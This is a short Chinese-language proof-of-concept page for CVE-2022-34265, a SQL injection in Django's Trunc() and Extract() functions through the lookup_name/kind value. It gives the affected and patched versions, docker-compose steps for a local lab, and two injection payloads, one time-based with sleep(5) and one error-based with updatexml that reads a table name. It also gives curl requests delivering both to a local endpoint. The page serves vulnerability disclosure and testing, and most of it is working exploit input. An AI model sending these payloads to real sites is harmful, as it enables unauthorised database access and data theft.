CVE-2022-34265 的 PoC
在 Django 3.2(3.2.14 之前)和 4.0(4.0.6 之前)版本中发现了一个问题。如果将不受信任的数据用作 kind/lookup_name 值,Trunc() 和 Extract() 数据库函数会受到 SQL 注入的影响。将查找名称和种类选择限制在已知安全列表内的应用程序不受影响。
git clone https://github.com/ZhaoQi99/CVE-2022-34265.git
cd CVE-2022-34265
docker-compose up -d
docker-compose down
Django >= 3.2, < 3.2.14
Django >= 4.0, < 4.0.6
Django 3.2.14
Django 4.0.6
YEAR FROM start_time)) ;select sleep(5)--
YEAR FROM start_time)) and updatexml(1,concat(1,(select name from TEST limit 1),1),1)--
curl "http://127.0.0.1:8000/extract/?lookup_name=YEAR%20FROM%20start_time))%20%3Bselect%20sleep(5)--"
curl "http://127.0.0.1:8000/extract/?lookup_name=YEAR%20FROM%20start_time))%20and%20updatexml(1%2Cconcat(1%2C(select%20name%20from%20TEST%20limit%201)%2C1)%2C1)--"
PS:在不同的数据库情况下,漏洞的存在情况有所不同。在 MYSQL 数据库后端,
Trunc函数不存在该漏洞。